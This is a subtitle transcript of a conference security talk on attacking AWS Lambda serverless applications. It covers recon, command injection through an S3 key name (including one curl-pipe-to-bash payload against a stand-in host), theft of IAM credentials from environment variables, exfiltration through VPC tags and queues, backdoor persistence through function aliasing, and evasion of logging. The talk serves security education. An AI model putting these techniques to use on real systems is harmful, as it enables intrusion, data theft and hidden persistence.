preroll music Herald: Like in the following talk I'm happy to introduce Rich Jones. Rich is gonna talk about what he can do in 60 milliseconds with server-less servers. And please give a warm round of applause for Rich! applause Rich: Hi everybody! Thank you very much for having me, for CCC for hosting, for you guys for coming out! I appreciate it. My name is Rich Jones. I'm the founder and CTO of gun.io. We find awesome freelance gigs for free and open source hackers. I'm also the author of ZAPPA. Which is the best damn server-less framework in the world. It can run any python web application on AWS lambda. You can build event driven applications you can connect roughly 500.000 connections per second globally. Without any operations support right out of the box for your existing apps. I first announced it about 6 months ago actually at Hack & Tell event at C-Base and now it is like used in production by all sorts of big companies which is pretty cool! You should try it out. Welcome to my talk, it is called Gone in 60 Milliseconds! aka having a sexy title gets your talk accepted at conferences. aka Intrusion and Exfiltration in Server-less Architectures. Whoooh. What the hell does that mean? Quick poll. Who here is familiar with AWS Lambda? Okay, so about half, that's pretty good. That's what I was expecting. Okay, great. For the unfamiliar, the good old days of servers. You would have the web server it would connect to the database and that was pretty much it it would – you'd have the server. You'd have one server, you'ld probably run lots of services off that server so if you found a debug panel or something like that, you could use one of your favorite tools, you could get a shell and basically run a mock I know is the best. With the server-less architecture this one example it uses instead of a permanent web-server it uses this service called AWS Lambda which provides no permanent infrastructure Your entire application function is held in cache by Amazon AWS and it's spawned and destroyed on a per-request basis. So in the space of a single web request or whatever function request, it creates the container, returns and destroys the container. The code execution is triggered by a variety of cloud event sources every request is in an isolated container. I'm gonna put an asterisk next to next to isolated as you see. The big advantage for the company is that it's super scalable. So, because one request is one server it means that 10 requests is 10 servers and so on and so on and so on. So you can scale this all the way up to like trillions of events per year which is pretty cool. It's also much less expensive because you pay by the millisecond .000002 dollars per millisecond which interestingly is now the same in euros keep an eye on that, I was surprised by. Security patches to the operating system are automatic because Amazon handles them so there is basically you don't worry about the operating system at all you only worry about your single function which saves time, saves money, and lets you fire all people who work in OPS. Some common patterns that you see for companies and, you know, services are using lambda. One is just the web server this is like if you already use zappa for a django CMS or something like this. It's just API gateway, another AWS service to lambda, which is the one we saw before Another common way that people are using this for asynchronous data processing. So if you have a file upload, that will then execute the lambda function which will store the result in a DynamoDB store and then have that trigger the upload to the S3 return bucket. So this is kind of like a very simple microservice type framework that you can use lambda for. Chat bots is another common use case So if you having a SMS Message or an e-mail exchange with a robot, it could be through lambda or one of those cool new like echo things. Maybe we will be able to like actually hack through those in the future using some of these techniques. So you can kind of see that there. And the big one that a lot of companies are using like fintech and medical and science companies are using for is is kind of the driving engine for the state machine in big data processing. This is kind of the interesting one that we get into a little bit more later in the talk So the lambda kind of drives the queue which is how the like big data processing like compute cluster is knowing what to do. And there is loads more of these patterns but those are some of the ones that I've seen pretty commonly. So when you try to attack these kind of applications it probably won't work. And even if it does work, it will shut down immediately because they live in these short lived isolated container which is no fun. The container dies after the function returns. Oh no! What does that mean for us? Us hackers. I mean it is harder to infiltrate because there is less common code most of the stuff is custom so far. You can't use the same wordpress vulnerability over and over again. The services are isolated, the functions are isolated, there is no users to really escalate on the system. There's no sysadmins to, you know, do your cool cron tricks or whatever, for gaining escalation. It's also harder to persist our malware because it immediately dies as soon as the container closes. It is also a read-only filesystem, so we can't hide our files deep in the operating system And it's only a sub-second lifecycle for the entire container anyway. There is no initialization system to infect because that is all taken care of by amazon and we can't get at it. It is also harder to exfiltrate, because there is a thing called the virtual private cloud AWS provides. There's also function specific roles which means a very strict permissioning system. A lot times we can't get a reverse shell because there is no network access. So basically sad face. Oh no, we're totally boned! No we're not, hell not, dog. When Bezos closes a door, he opens a window. laughter applause So we gonna learn some recon, some infiltration, some exploitation, some exfiltration and a little bit of cleanup! Part 0: Recon aka How the hell do we know what we're attacking? There's gonna be two attack surfaces. An outer and inner attack surface for a lambda function. The outer attack surfaces are the API Gateway so if you look at the headers and you see that it's serving dynamic content from CloudFront, that might an indication that you're dealing with API Gateway. File uploads is pretty easy if you look at whatever the upload endpoint is and you look at headers that says it is S3 that probably means that it's S3. If you look at the email headers that you you're communication to the function with you can see that it is Amazon SES so that is pretty obvious. There is also the inner attack surface. So these are services that we can't access directly, but provide event sources for the function, so this can mean a whole bunch of stuff, so queues if there are a lot of long running tasks and it's on AWS, it is possible that they are using the SQS queing system. But it can also mean database events, streams of information, user events, so logins and user creations and stuff like that can also be an event source. And the log system itself can provide an event source. Part 1 infiltration aka how the hell are we gonna weaponize all that? So lambda functions essentially what the application is, is kind of like a blue ball machine here. What we call Rube Goldberg machines. I just learned, for the translators, that you guys call these nonsense machines. Essentially lots of little functions and a lot of passing information between them. So to figure out what's going on, we're going to use a process of destructive mechanics aka dropping a bolt into the engine and then listening to the sound that it makes to try to figure out what is going on inside. The TL;DR of that is we gonna attack the event sources themselves, we're going to fire off every type of cloud event service that we can and basically see what shakes out. The usual suspects for infection, unsanitized input, deserialization bugs of all, you know all varieties, server side script injection, malicious binary files, and if it is a web server, most of your favorite web application type exploits. So just as a very trivial example of the kind of things that you might see here, So here is some trivially vulnerable code it's connecting to an S3 bucket, it's going over the items and it's calling some process on the keys that are in the bucket. But what happens if we create an object called: "; curl -s exploit.server.xyz | bash" well than that's gonna expand because it is just using the key name to call, you know, our exploit code on the lambda function. Hurray! we did it! Part 2 exploitation aka how can we escalate our infection? aka what the hell is a lambda? aka what's worth stealing? So if we actually find, you know, if we just look at the operating system of a lambda, now that we're able to execute commands on it. Well that won't work as we don't have a shell, everything on lambda had this event context pattern in it, whatever but if we do the find and we look at it, it pretty much looks like standard redhat 6 installation it's got python 2.7, interestingly it has python 3.4 on it, it's got node, it's got perl, it's got gcc, it's got all you know, stuff that we like. Which is pretty good. If we look at the system even further, we'll see that it's running an operating system called Amazon Linux, which is the default for EC2, so maybe it's an EC2 server. If it's an EC2 server, can we access the metainfo server? That's a good idea! For For those who don't know about the meta- data server, from Amazon docs: Instance metadata is data about your instance that you can use to configure or manage the running instance, anyone who can access the instance can view its metadata. Therefore, you should take suitable precautions to protect sensitive data aka don't get hacked, because people can look at this stuff. We can figure out all this information including keys and users and security groups so, you know, really good, good intel. What happens if we try to access the server? It doesn't work, so, sorry. But that's a good trick to remember if you are attacking EC2, that you can get a lot of information out of the metainfo server. Now you're thinking, well let's take a look at the environment, let's look around what's in the environment variables. Quite a lot actually including some inter- esting stuff like session tokens, security tokens, access key IDs and secret access keys. So that's pretty cool. What are those? Enter IAM, so this is Amazons identity and access management system which provides per resource authentication and authorisation definition. So basically 1 task is gonna have 1, you know, set of authorisation to perform its functions. It sounds bad, it is. Like it makes our job a lot harder. The good news is that it's super easy to fuck up! Pretty much everybody who's using IAM has probably fucked up. Especially if you read the documentations which Amazon provides which is terrible, or even badder if they got their information from the AWS forum where you can find like real gems of wisdom about give everybody access to everything, which is nice. So full disclosure, everything all the fun stuff that we're gonna do, does depend on them having some misconfigured IAM even subtly misconfigured IAM which isn't as cool, I have to admit but it's pretty common, so I don't think it's unreasonable to have that, be part of our attack criteria. So what the keys that we saw, were part of the lambda execution policy which uses this permission called iam:PassRole basically you take a predefined policy for what a function is allowed to do. It creates a temporary user with those permissions and gives the credentials for that user into the userspace in those environment variables that we saw. So this is one of the ones that Amazon recommends, this is the AWS VPCAccessExecutionRole this is from Amazons documentation and this actually provides some interesting things that we're gonna be able to use. Resource:* is a great one because that means we have access to everything available to the account We will need to create log groups and streams, which is kind of interesting. Describing the network interface is also super interesting for us. And this will come in handy later. Okay, so we can describe the network What about actually like infecting the application source? Like we wanna add a backdoor. But first, where does the code live? So we check the environment variables again we see this key value for LAMBDA_TASK_ROOT which is good so we will just cat our backdoor into the application No that is not gonna work. Sad face, because it's a read-only filesystem. And even if you could, write to that, you know, write to the filesystem, it's not gonna persist for other users who, to call the function because it's not cached in memory so it would only live for the span of a single HTTP request which we don't care about. But, I got all of these cool, like hacker tools I wanna install on the system how do I do that? Fortunately there is /tmp space on the disk because some, you know, normal applications are gonna need to read and write files and stuff so /tmp is totally readable and it works as we'd expected to. Amazon describes this as ephemeral disk capacity. But ephemeral isn't quite true actually, because this is how lambda executions are not completely isolated. For performance reasons they're actually cached in Amazons memory across different executions. So because /tmp is a ram disk, and because ram is cached that means that /tmp is cached as well, so if we can store our tools across multiple executions. Yay! But the caveat for that is that we have to keep the function warm in memory by calling it every so often That length of time is 4 minutes, 30 seconds Somebody violated an NDA to tell you that, don't ask me laughing applause What's cool is this actually can also apply to long running processes aswell. It won't keep the function open, but it will, kind of, pause the process and then reopen it on the next execution. So now we can install, if we have linux x86_64 compiled versions of all our favorite tools we could put them on to the lambda function and start calling it. Okay, so now we got some keys, we got some tools, what can we do? So the first thing that we probably wanna do, is just see what we're allowed to do. Using the AWS CLI tool we can call this code and we will get back a policy, and if we're lucky, it 'll be ** and then we can do whatever we want. Jackpot! We can create a new admin user and pillage all the databases basically, it's game over! Yeah right! Maybe it'll happen probably yeah right. A very brief interlude. If you do get the jackpot, if you are looking at Facebook's AWS usage and you get *****. Don't sell the user info to spammers. Don't claim a bug bounty. Don't just like use their creditcard to mine bitcoin. Don't tell, you know, your favorite TLA. Don't even send all the information to Julian, he's busy. Bug bounties are boring. Espionage is boring. I'm tired of all this like spy vs spy stuff. Use your skills of infection for awesome. Put up a bad-ass hacking crew name, you know. laughing Put spooky skulls, put a bunch of spooky skulls on facebook. Put your IRC homies, know what's up applause I'm pretty serious about this, actually. Like I think the word losing some like aesthetic quality to our culture in pursuit of like money and like you know, careers and stuff like that. But I think the aesthetic value actually has like more worth and that over time is like, the broader community begins to respect like our aesthetic contributions, like the those hacks will actually be worth more in the long run than any bug bounty that you 'll get now. So like keep it real, anyway, that was my side. applause So far more likely than ., you gonna get some kind of like strict permission, like the ability to access S3 objects, or the the ability to access the database, or some combination thereof using various, different cloud services available. How can we use that for nefarious purposes you wondering. That's a great question. Part 3: Exfiltration aka take the money and run aka the fun part. TL;DR when you don't have a direct network connection, to the things that you wanna access, because you using a cloud provider, you can use tags, meta information, and the cloud services themselves to shuttle information out of the cloud. So easy mode for instance, if we see that we have SES permissions, send, use the email, send, you know, we have a single function that will let us send an email out because it's a cloud provider that has an e-mail service. Or send a SMS, you know, you could actually, you can hack something and get the results back to your virtual cellphone. Slightly harder, if you just have S3 objects, you could, you know, zip up the source of the application, put it on S3 and get it out that way. The fun thing is VPC exfiltration. So this is the architecture that we were talking about before It's a simple vibration but this is this is a pretty common architecture for big data using lambda. What is a VPC? Great question! Amazon VPC provides advanced security features such as security groups and network access control lists to enable inbound and outbound filtering at the instance level and subnet level. Sounds bad. It is. The good news. Super easy to fuck up! Especially if you read Amazons old docs and the AWS forum. So lambda has access to these VPC resources. aka Lambda is our VPC hole puncher. If you're, you know, depending on how they've implemented it, this may actually mean that Amazon can access your internal corporate network, which is pretty cool. But we don't actually even need to use the network to do that, so I'm not gonna show you how to do that one, you figure that out on your own, to exfil from a VPC without touching the VPC network. So this is our architecture. Step 1, upload the malicious file, like I've indicated here with a cool cyber skull. This will give us code execution in the Lambda environment. We gonna put out a bunch of canaries. So we're gonna try calling SMS, e-mail, DNS, S3, queues, everything that is available to us, just try to put some information out that we can read back. In this case we see that we can type our results into the bucket, so we can get information that way. So we have bidirectional communication to an owned lambda service. When we use the keys that we've exfiltrated that way, we look at the policy, we see that we have the lambda VPC access execution role from earlier, with resource * which is nice and our DescribeNetworkInterfaces create network interfaces permessions that we saw earlier, that Amazon recommends as well as simple S3 and SQS access just for the necessary functions that we want for the application. Our target in this case is the database which is still inside the VPC, so we no access to, direct access to the database from our lambda execution environment because it's all wrapped up in this VPC. But what we can do is, we can add things to the SQS queue. And if they're using Celery, actually uses pickle, is a way to shuttle information about – for the javascript developers, it's a bit like using eval to figure out javascript. So if we're able to add something, to, or, this is kind of manoeuvrer, like this is use whatever technique that, you know, you prefer from there to get your code on to the cluster but we're gonna use this pickle celery bug to create an item on the queue, a malicious item on the queue, that will then be picked up and run on the compute cluster. So now we have code execution on the cluster, but we have no way to actually directly communicating to it, because we're locked out of the VPC. What do we do now? So the interesting this is actually use meta information about the VPC to exfil the information that we want, so because we have the ability to describe network interfaces, inside the VPC, we call, we add tags, to this, to the EC2 instances and the network interfaces to which they communicate. A lot of times they have this permission because tagging is useful for the admins who wanna see what groups are owning what So we can add the meta information about that to the network interface itself because the lambda has the ability to read these tags back out, we can then get the information that we want, we can put it through the S3 and we can extract the information this way. So nice! This also works for the application binaries because we can encode something in Base64 and then put that in the tag set, and get that out that way Which is nice! Similarly is the compute cluster able to modify DNS entries that we can read, or is it able to create a named log groups, is it able to create queues, is it able to create buckets, etc, etc be creative with the AWS services the're available, there is lots! And a single overlapping permission can be enough In fact, even a single overlapping service can be enough for information exfiltration for instance you can encode information in the length of the queue and then read that back out you could use the same thing with the number of number of network interfaces that are available besides of the database, anything like that. So that's pretty cool! What if they fix the bug? Persistence, aka how can we permanently infect a system with no permanent infrastructure? aka abusing cloud vendor features, continued. One neat lambda feature that is available is the idea of function aliasing so Amazon will automatically give you like labels for the available functions, and store all of the old functions with aliases for you, which is useful for, you know, application maintainers because they can provide rollbacks and something goes wrong, they can tag their dev and prod and staging environments and stuff like that as an audit trail. But we can also use it to persist our malware. So we can get the function, get the source code for any function that's available this way, we can upload a backdoored version of that and then alias it to one of those previous functions and hide it there if we need to access it without having it, be uploaded every time. An alternate route, which is especially useful if the application is being deployed by travis, or some CI system, anything that uses CloudFormation. CloudFormation requires the code to be hosted on S3 permanently, for doing it's update function. So if we just infect the code that's on S3, the next time that the CI updates the application stack, it'll use our infected code, which is useful. This is cool because if we have access to the code buckets, than we can actually use a single infected lambda to infect all the other lambda functions that are available in the stack. One better is to actually treat the entire model serverlessly. So imagine if we have a simple application using the Foo lambda that's triggered when there is a SQS event. Which is actually gonna be one function and then all the old functions aliased all the way back to function 1. So if we can infect this one with some bug that we're exploiting, and we're able to create a backdoored function we can use the same code, create the new function, but it's backdoored, and then alias that back to the first function that'll now contain our backdoored code, we can create an event trigger, so that whenever new code is updated, is submitted to the S3 bucket where the functions are registered, that will actually trigger the execution of our malware, which will get the code of the new function infected with our backdoor, recreate the function, delete the new one, and then we have, you know, our backdoored version of the latest code that is permanently available for every request, new code uploads are the trigger for reinfection of our malware. Part 5 cleaning up I'll go fast here, is boring. Full disclosure, I'm not very tidy, so be careful with all this stuff if you need to be real stealthy. All lambda executions have unique execution IDs, if you just write them down, you can delete them later. But the errors there still gonna trigger the CloudWatch alarms, so can you hop off the log group, that's also available in the environment variables? No you can't, but you can change the retention policy, so, maybe we can just have it's own, and hopefully they don't look at logs. That's not very good, a better technique is actually to don't log anything to begin with. So because these functions have extremely limited memory size, cause they only build to do one thing, if we exhaust the memory of the function, there's not enough memory to actually do the logging properly, so if we wrap all of our canary code inside of exception handlers, that'll then just allocate all the memory that's available, then it doesn't count as an invocation error and it won't actually register ... applause Shout out to Dee, he told me that trick, my friend. One copy out of this, one pattern is to... time did go super fast... if they are logging everything, the flip side of that is that they're logging everything so that you can go and get everybodys password and stuff, so that's fun. Part 6 synthesis happy Christmas, everybody, ho ho ho, I'm Santa Claus and I'm giving you a present I'm giving you an AWS Lambda Infection Toolkit! Call mackenzie you can figure out why on your own. It can do a lot of the tricks that we talked about today. Exfil, infiltration, creating reinfection handlers, all the stuff, maybe your feature, put it on github this afternoon, check it out! In conclusion, server-less architectures present new obstacles, but we can defeat those obstacles by abusing cloud features themselves. Do you need secure serverless apps, you should hire me. laughing Do you want to contribute code, you should check out my github. You should also check out the slack channel. Shout out to everybody in the zappa slack, is a ton of super smart AWS people doing interesting things in there, thank you! applause Herald: Allright, perfect. applause Herald: Thanks a lot Rich. Unfortunately we don't have any time left for Q&A, but, are you gonna be around for questions, perfect. So if you are in the room, you can just come, ask Rich questions, if you are remote, you've seen the contact possibilities. closing music subtitles created by c3subtitles.de in the year 2017. Join, and help us!